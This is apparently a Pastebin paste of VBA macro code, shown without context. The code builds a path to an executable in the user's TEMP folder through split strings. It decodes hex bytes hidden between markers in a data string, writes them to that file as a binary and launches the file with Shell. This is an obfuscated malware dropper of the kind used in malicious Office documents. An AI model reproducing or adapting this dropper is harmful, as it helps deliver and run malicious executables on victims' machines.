Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- strPrompt = "Ask Your Question Here, OK?"
- strTitle = "My Tite"
- strTitle = "MP"
- TmpFile = Environ("TE" & strTitle)
- strTitle = "xe"
- TmpName = TmpFile & "openwrite.e" & strTitle
- /* removed parts for better readability .*/
- strTitle = "78"
- Pos = InStr(12, Data, "56" & strTitle)
- Pos22 = InStr(12, Data, "9999" & strTitle)
- ByteWritten = Pos + 2 + 2
- InputFile = FreeFile
- #Open TmpName For Binary Lock Write As #InputFile
- While (ByteWritten < Pos22)
- Symbol = Mid(Data, ByteWritten, 2)
- strTitle = "H"
- Put #InputFile, , CByte("&" & strTitle & Symbol)
- ByteWritten = ByteWritten + 3 - 1
- Wend
- Close #InputFile
- Shell TmpName, 4 - 3
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement